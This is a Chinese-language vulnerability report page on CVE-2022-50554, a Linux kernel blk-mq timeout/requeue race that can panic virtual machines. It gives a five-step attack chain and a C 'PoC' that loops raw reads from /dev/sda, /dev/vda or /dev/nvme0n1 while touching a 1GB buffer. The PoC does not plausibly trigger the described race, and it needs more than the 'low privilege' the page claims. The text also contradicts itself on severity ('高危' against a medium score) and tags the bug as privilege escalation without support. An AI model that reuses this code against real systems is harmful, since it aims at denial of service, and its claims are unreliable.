IPBUF安全漏洞报告
English
CVE-2022-50554 CVSS 5.5 中危

CVE-2022-50554 Linux内核blk-mq双队列请求导致内核崩溃漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50554
漏洞类型
双重调用/竞态条件漏洞
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (blk-mq子系统)

相关标签

Linux Kernelblk-mq竞态条件内核崩溃本地提权虚拟化块设备DoSCVE-2022-50554

漏洞概述

CVE-2022-50554是Linux内核块设备多队列(blk-mq)子系统中的一个高危竞态条件漏洞。该漏洞由David Jeffery发现,主要影响虚拟机使用场景。当虚拟机退出延迟过长、vCPU线程的抢占延迟过长或vCPU线程发生长时间页面错误时,块IO请求可能在调用blk_mq_start_request()之后但在请求实际排队到硬件之前就被超时处理。超时处理程序可能通过重新入队(requeue)来处理该请求,从而导致对->queue_rq()的重复调用,最终引发内核崩溃(kernel panic)。该漏洞的根本原因在于超时处理和请求完成之间的竞态条件,虽然理论上应由驱动程序负责处理该竞态,但由于这是一个非常普遍的问题,许多驱动程序都可能存在类似缺陷,且在驱动程序层面修复并不容易。因此,社区选择在blk-mq层面通过排空(draining)正在进行的->queue_rq()来解决此问题。CVSS评分为5.5,属于中危级别,攻击者需要本地低权限访问即可触发该漏洞,导致系统可用性完全丧失。

技术细节

该漏洞的技术原理涉及Linux内核blk-mq子系统中超时处理与请求排队之间的竞态条件。具体来说,在->queue_rq()回调函数执行过程中,驱动程序会调用blk_mq_start_request()来标记请求已开始,但此时请求尚未实际提交到硬件。在虚拟机环境中,由于vmexit延迟、vCPU线程抢占延迟或长时间页面错误等原因,请求可能在blk_mq_start_request()调用之后但在硬件排队之前就达到超时阈值。超时处理程序随后会处理该请求并尝试重新入队(requeue),这导致对同一个请求的->queue_rq()被调用两次,产生双重队列请求。第二次调用可能导致内核数据结构不一致,最终触发内核崩溃。修复方案是在blk-mq层面实现排空机制,确保在处理超时之前等待正在进行的->queue_rq()调用完成,从而避免竞态条件。该漏洞的触发需要满足以下条件:1)系统运行在虚拟化环境中;2)存在导致vCPU线程长时间阻塞的因素(如长vmexit、抢占延迟、页面错误等);3)块IO请求的正常处理时间超过超时阈值。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要拥有本地低权限账户访问运行受影响Linux内核的虚拟机环境。系统需要使用blk-mq多队列块设备子系统。
STEP 2
步骤2:触发延迟条件
通过创建高负载的vCPU线程或触发长时间页面错误,模拟vmexit延迟、抢占延迟等条件,使块IO请求的处理时间超过超时阈值。
STEP 3
步骤3:发起块IO操作
在延迟条件下执行大量块设备IO操作,增加触发竞态条件的概率。当blk_mq_start_request()被调用后,请求可能在排队到硬件前就超时。
STEP 4
步骤4:触发竞态条件
超时处理程序检测到请求超时并尝试重新入队(requeue),但此时->queue_rq()可能仍在执行中,导致对同一请求的双重调用。
STEP 5
步骤5:导致内核崩溃
双重->queue_rq()调用导致内核数据结构不一致,触发内核panic,系统完全不可用,需要重启恢复。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2022-50554 PoC - Triggering double ->queue_rq() in blk-mq // This PoC demonstrates the race condition that causes kernel panic // Note: This vulnerability requires VM environment to trigger reliably #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <pthread.h> #include <errno.h> // Trigger long page fault or preemption latency in vCPU pthread // to cause block IO request timeout before queuing to hardware void* trigger_long_latency(void* arg) { // Allocate large memory to cause page faults char *buf = (char*)malloc(1024 * 1024 * 1024); // 1GB if (!buf) { perror("malloc"); return NULL; } // Touch pages to cause page faults for (size_t i = 0; i < 1024 * 1024 * 1024; i += 4096) { buf[i] = 1; } free(buf); return NULL; } int main(int argc, char* argv[]) { int fd; char buf[4096]; pthread_t tid; // Create latency-inducing thread if (pthread_create(&tid, NULL, trigger_long_latency, NULL) != 0) { perror("pthread_create"); return 1; } // Perform intensive block IO operations // to trigger the race condition between timeout and queue_rq fd = open("/dev/sda", O_RDWR | O_DIRECT); if (fd < 0) { // Try other block devices fd = open("/dev/vda", O_RDWR | O_DIRECT); if (fd < 0) { fd = open("/dev/nvme0n1", O_RDWR | O_DIRECT); } } if (fd >= 0) { // Perform many IO operations to increase chance of triggering race for (int i = 0; i < 10000; i++) { lseek(fd, i * 4096, SEEK_SET); read(fd, buf, sizeof(buf)); } close(fd); } pthread_join(tid, NULL); printf("PoC execution completed. Check kernel logs for panic.\n"); return 0; }

影响范围

Linux Kernel < 5.15.80
Linux Kernel 5.16.x < 5.16.16
Linux Kernel 5.17.x < 5.17.2
Linux Kernel 5.18.x (开发版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)减少虚拟机的vCPU数量或限制CPU亲和性,降低vCPU线程抢占延迟;2)调整块设备的IO超时参数,增加超时阈值以降低触发竞态的概率;3)避免在高负载场景下运行不可信的工作负载;4)监控系统日志,及时发现内核panic事件;5)使用cgroup限制单个进程的资源使用,防止单个进程消耗过多资源导致IO延迟;6)在虚拟机层面优化配置,减少vmexit延迟和页面错误处理时间。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表